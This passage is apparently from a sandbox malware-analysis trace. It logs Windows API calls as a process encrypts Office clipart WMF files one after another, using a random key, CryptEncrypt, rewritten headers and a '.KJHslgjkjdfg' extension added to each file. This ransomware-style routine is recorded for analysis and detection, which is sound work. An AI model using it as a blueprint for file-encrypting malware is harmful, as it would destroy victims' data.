Office\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099179.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0161.824] GetProcessHeap () returned 0x2a0000 [0161.824] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0161.824] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0161.824] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0161.824] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0161.826] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.826] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.826] GetProcessHeap () returned 0x2a0000 [0161.826] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0161.826] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0161.826] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.826] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0161.827] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.827] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0161.827] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0161.827] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0161.827] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.827] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.827] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.827] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.827] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x23c2, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x23c2, lpOverlapped=0x0) returned 1 [0161.829] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x23d0, dwBufLen=0x23d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x23d0) returned 1 [0161.829] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.829] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x23d0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x23d0, lpOverlapped=0x0) returned 1 [0161.829] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.829] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x24a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.829] SetEndOfFile (hFile=0x114) returned 1 [0161.832] GetProcessHeap () returned 0x2a0000 [0161.832] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0161.832] GetProcessHeap () returned 0x2a0000 [0161.832] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0161.832] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099179.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099179.wmf.kjhslgjkjdfg")) returned 1 [0161.834] CloseHandle (hObject=0x114) returned 1 [0161.834] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xd42, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099180.WMF", cAlternateFileName="")) returned 1 [0161.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099180.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0161.834] GetProcessHeap () returned 0x2a0000 [0161.834] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0161.835] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0161.835] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0161.835] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0161.837] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.837] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.837] GetProcessHeap () returned 0x2a0000 [0161.837] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0161.837] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0161.837] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.837] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0161.837] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.838] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0161.838] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0161.838] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0161.838] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.838] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.838] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.838] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.838] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xd42, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xd42, lpOverlapped=0x0) returned 1 [0161.838] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xd50, dwBufLen=0xd50 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xd50) returned 1 [0161.838] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.838] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xd50, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xd50, lpOverlapped=0x0) returned 1 [0161.839] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.839] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xe24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.839] SetEndOfFile (hFile=0x114) returned 1 [0161.841] GetProcessHeap () returned 0x2a0000 [0161.841] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0161.841] GetProcessHeap () returned 0x2a0000 [0161.841] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0161.842] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099180.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099180.wmf.kjhslgjkjdfg")) returned 1 [0161.843] CloseHandle (hObject=0x114) returned 1 [0161.843] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x4ae, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099181.WMF", cAlternateFileName="")) returned 1 [0161.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099181.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0161.844] GetProcessHeap () returned 0x2a0000 [0161.844] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0161.844] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0161.844] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0161.844] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0161.846] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.846] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.846] GetProcessHeap () returned 0x2a0000 [0161.846] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0161.846] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0161.846] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.847] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0161.847] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.847] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0161.847] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0161.847] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0161.847] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.847] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.847] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.847] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.847] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4ae, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4ae, lpOverlapped=0x0) returned 1 [0161.847] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4b0, dwBufLen=0x4b0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4b0) returned 1 [0161.847] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.848] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4b0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4b0, lpOverlapped=0x0) returned 1 [0161.848] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.848] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x584, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.848] SetEndOfFile (hFile=0x114) returned 1 [0161.850] GetProcessHeap () returned 0x2a0000 [0161.851] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0161.851] GetProcessHeap () returned 0x2a0000 [0161.851] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0161.851] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099181.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099181.wmf.kjhslgjkjdfg")) returned 1 [0161.852] CloseHandle (hObject=0x114) returned 1 [0161.852] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xf00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099182.WMF", cAlternateFileName="")) returned 1 [0161.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099182.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0161.853] GetProcessHeap () returned 0x2a0000 [0161.853] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0161.853] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0161.853] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0161.853] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.853] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.853] GetProcessHeap () returned 0x2a0000 [0161.853] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0161.854] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0161.854] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.854] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0161.856] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.856] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0161.856] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0161.856] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0161.856] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.856] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.856] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.856] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.857] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xf00, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xf00, lpOverlapped=0x0) returned 1 [0161.857] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xf00, dwBufLen=0xf00 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xf00) returned 1 [0161.857] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.857] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xf00, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xf00, lpOverlapped=0x0) returned 1 [0161.857] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.857] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.857] SetEndOfFile (hFile=0x114) returned 1 [0161.860] GetProcessHeap () returned 0x2a0000 [0161.860] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0161.860] GetProcessHeap () returned 0x2a0000 [0161.860] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0161.860] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099182.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099182.wmf.kjhslgjkjdfg")) returned 1 [0161.861] CloseHandle (hObject=0x114) returned 1 [0161.862] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1352, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099183.WMF", cAlternateFileName="")) returned 1 [0161.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099183.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0161.863] GetProcessHeap () returned 0x2a0000 [0161.863] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0161.863] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0161.863] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0161.863] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0161.866] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.866] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.866] GetProcessHeap () returned 0x2a0000 [0161.866] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0161.866] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0161.866] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.866] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, 